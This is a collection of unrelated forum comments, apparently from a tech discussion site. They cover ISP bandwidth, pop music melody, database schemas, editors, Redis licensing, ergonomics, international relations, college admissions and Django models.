But that's literally what you said: "it should be able to handle 50Mbps all the time."

> If they actively apply throttling after a certain amount of data, that is not making a good faith effort to deliver what you promised me

I agree that would be misleading, but who does that? I've never seen a plan that's advertised as e.g. 50 mbps unlimited data that throttles after a certain usage.

> Short bursts are no longer the normal way for consumers to use bandwidth. Most bandwidth is now used for streaming media. In 2015, it was 70% of American bandwidth at peak hours[1]

Measuring it by a proportion of total bandwidth is misleading,[1] because sustained loads will obviously use more bandwidth in the aggregate than bursty loads. But users likely still spend much more wall-clock time doing bursty activities (web browsing, refreshing facebook, twitter, downloading apps tore apps) than streaming. Given that a web page these days is in the 5MB+ range, it still makes sense to optimize networks primarily for bursts.

[1] It's like if you analyzed laptop battery life by looking at the total kilowatt hours used by different tasks. That would overstate the importance of things like gaming, which use more battery life in the aggregate but which users spend less wall-clock time doing than word processing or web browsing.

Producers often use reverb for front to back space as well.

I with agree that its got more precise, typically when producing a kick for techno I make sure that the power is exactly around the point where the sub is going to be able to play it back with the most impact.

Also with tools like Neutron we can make sure there is no overlap between channels.

"well, I'm reading query X with schema Y, and if some rows don't match Y give me nulls instead"

Seems like a recipe for disaster to me, but well... A database isn't a "storage format". It's most often the single source of truth for a set of information.

Not being fully sure what data you expect from that source of truth and yet being able to query it is really dangerous. What if you start to update this data after having nullified things you didn't understand ?

Vim.Wasm – Vim Editor Ported to WebAssembly
Video Studio Code has become my favorite editor way ahead of Vim. I've used Vim for many years, but I'd miss the intellisense insights of VSC too much to go back to Vim.

I also actively use a Lisp/Scheme dialect on the side, but I wouldn't want to manage the complexity of Emacs.
What I have personally noticed over the last 15 years or so is the move away from melody and towards chord progressions and layering. This has the effect of producing more complex music (many times courtesy of modern digital technology) but nevertheless music that generally is forgettable. When I have my family in the car on the weekends and I'm forced to listen to the radio, I'm amazed at the lack of melody in most songs as well as the same progression, structure, and timbre between songs. They are so similar it's extremely difficult to recall which song is which if you take away the vocals. I think modern pop has attempted to replace instrumental melody with a sort of vocal melody that stands out for easy identification. This, I presume, is because of the nature of modern pop. Many "artists" are solo performers who have a brand to sell so the people writing songs for them make it such that the song is built to bolster the brand/image rather than attempting to structure the song in the best way musically.

The switch away from melody is also extremely present in soundtracks. Think about John Williams who, in my opinion, is the "master of melody". Every time he creates a soundtrack there are instantly recognizable melodies and motifs. Just reading the following words - Harry Potter, Jaws, Star Wars, Superman, Indiana Jones, Jurassic Park, The Godfather - and you could probably hum any of those melodies on command. Or at least you could instantly identify it if you heard it. Contrast that with someone like Hans Zimmer (who is excellent, BTW). But he's a more "modern" composer, right? And if you look at his stuff you'll see that he's basically a "master of timbre", which is why someone like Hans Zimmer stands out in the modern era where, as the article states, timbral variety has gone down. In fact, I would argue that some of Zimmer's best work are the ones where he actually combines his timbral mastery with melody. Things like Gladiator and Pirates of the Caribbean.
That would take a world-wide strike and no strike breakers. Unlikely.
This truck has a 2000lbs cargo capactiy. All the contractors I know have close to that in the bed of their truck. Tools are heavy, as are the other building supplies they have.

For a contractor doing repairs your value is the fact that you have the replacement part on the truck. That means you have bins of sensors, motors, valves and such sitting around because every 3 months you need each and the customer needs it fixed now.

For a contractor doing new work there are less materials (that is generally delivered by a different truck), but you still have tools.

Part of the reason why companies aren't simple functions of cash in -> results out is because the ability to produce results is 100% dependent on hiring the right people (who may not even exist for your problem domain). Cash only helps in so much as possibly being enough money to hire those people, but it says nothing about whether management will effectively exploit the human resources it hires, i.e. whether management will shut up and get out of the way or whether the "right people" will be hobbled by infighting, corporate politics, and "policy".

Until investors can come up with a way of measuring those confounding human factors, just plowing money into companies and praying for a miracle will continue to be a debased and ineffective investment strategy.
Based on this interview from 2016 Salvatore
agrees with the issues of BSD and cloud vendors so he may be a lot more amenable to a license change than you suspect: https://venturebeat.com/2016/06/19/redis-creator/

>But now, for the first time, GPL could be interesting again because of the cloud vendors. Because with BSD, cloud vendors are able to extract a lot of value from an open-source project, to the point of making it very hard for the project’s initial creators to make a business out of it. Let’s call it the “AWS problem.” The AWS problem, technically, could be enough in some way to create problems for the whole open-source ecosystem. Now people know that if they start an open-source project and put a lot of effort into it, they could be marginalized by AWS. That could mean that GPL would return again as the primary license for open-source software in the future.
Gotta say, stuff like this is getting a bit more common. Last month while I was evaluating choices for an application gateway I saw that:

* Ngnix has an enterprise version

* Kong has an enterprise version

* HAProxy has an enterprise version

Now redis as well, even if the commons license isn't quite as bad, it's a step back. It's understandable, but all a bit disappointing.

It's always interesting to see certain types try to discuss art. Since James Brown, music has been trending toward an emphasis on rhythm, with melody and harmony playing a more pragmatic role - rather than the inverse. This article doesn't even mention rhythm.

Ringo Starr was a mediocre drummer, yet many claim the Beatles are the best band ever (a stupid claim to make about any band, but here we are).

Most pop music will be bad, because art is hard. There are different ways to make art work. There are different ways to make music work. The more dogmatic you are about what makes art and music good, the more you'll miss out on great stuff, the more you'll limit yourself.

The combination of Future and Metro Boomin is just as exciting (to me) as the combination of Jagger and Richards or Lennon and McCartney.
How I kicked my email compulsion
Nature doesn't require us to lean on armrests, desks or such - in fact there are almost no flat (or cushioned) surfaces on nature.

Evolutionarily it would't make sense if the human body wasn't 'self-contained' - requiring no external tools to work comfortably.

Your normal posture is to have the arms relaxed, or with a moderate amount of tension by keeping them lifted a reasonable amount of time, and variating the posture as well.

A well-developed hunter/gatherer would definitely have arms strong enough to type this way without getting particularly tired.

So what we modern humans ought to do is to keep the arms strong (by exercising), and to not compensate tiredness with artificial mechanisms.

I'm aware that this argumentation is somewhat dubious (and probably I failed to express it properly), but as a simpler experience report, I've worked this way 4+ years without trouble. First days will suck though.
> at best you can try and re-license it under GPL / LGPL if you want more control, and all contributors agree

You actually don't need all contributors to agree, you only need one. The MIT and BSD licenses don't ban you from relicensing into more restrictive licenses (that's why they're popular with businesses, after all).

Realism is just one school of international relations; based on my limited understanding, it's not the most prominent; constructivism may be (and there are others too).

Trade implies that the parties each have a comparative advantage in a different area, which is always true.

> these things are theoretically inconveniences for governments because they restrict their range of actions

The logical inference from the quoted comment is that anarchy provides the most freedom of action, but clearly it does not; it greatly restricts action.

International institutions restrict countries' ranges of actions in some cases, and greatly expand them in more. Even the most powerful country, the United States, cannot make and enforce an international rule/law by itself; the United Nations can (though it doesn't always do it).

The weakness of international institutions greatly restricts action on many issues, from health to climate change to resolving Russia's invasion of parts of Ukraine, Syria's civil war, and human rights violations in China (to pick just a few examples of very many).

The author write about his experience in a company where two teams have the same project (only difference is from the input: analog or digital) and his team use POO, unit tests, XP programming and doing well while the other team have delivery problems and make overtime.

Sadly, the second team is rewarded due to the external vision of the "implication".

State of Vue.js in 2018
For what Americans consider trade schools, like welding, plumbing and a whole bunch of others, there are apprenticeship style training. It can even depend on the state.

Line workers in a car manufacturing plant are very low skilled and are jobs that anyone in theory could do. Most manufacturers in the US around the South (where I live) are in very rural areas. It would be hard to find a huge population of skilled workers to fill a plant.

BMW, Mercedes, Hyundai, and Kia have plants near me. The BMW plant is the largest in the world. I believe Toyota and Mazda are opening up new sites as well.

> If you can’t afford to send your kid to a top college and then support them for 2-3 years doing unpaid internships

Well, it may not be the end of the world, but they're right that there's a plateau you'll hit if you didn't graduate from one of a very small number of colleges or have experience at one of a very small number of "prestigious" employers in your background (which you can generally only get by graduating from one of a very small number of colleges). Don't get me wrong, I've done just fine for myself, especially considering where I came from, but I've also rubbed elbows with some of the "elites" on their way up - LinkedIn lets me see how their careers progressed, and one thing they all have in common is impressive academic pedigree. As I'm raising two kids of my own, though, trying to groom them for the best college opportunities, I can't help but notice how carefully crafted entrance requirements are to perpetuate dynasties of "upper-crust" types. When I was applying to college, they looked a lot at things like extracurricular activities and volunteerism, which I didn't have any of. So now that I have kids of my own, I'm helping them with their application-stuffing things like sports, music, church - and I can't help but notice how expensive and time-consuming all of this is _for the parents_. You literally can't do it unless one parent makes enough money to let the other stay home and coordinate the kids' activities while _still_ making enough money to afford a house in a "top" school district (or worse, private school) and have enough money left over to pay for musical instruments, sports equipment, fees, private lessons, and on and on and on. In a roundabout but still very specific way, I'm trying to buy my kids a spot in a good enough college that they won't lose opportunities for going to a second (or third) tier college like their dad did.

Well, the original article doesn't actually mention ForeignKeys that's why I written may (it only has TextField and IntegerField). Of course nothing stops you from extending them; you'll need to of course add the model where you'll want to create an FK to.

So the MakeField model will have an optional field to denote the class to which you want to create the FK; probably an FK to ContentType would suffice for this field (https://docs.djangoproject.com/en/2.1/ref/contrib/contenttyp...).

I know I've written field and FK too many times, I hope it makes sense; if it doesn't tell me and I'll provide a more thorough example.
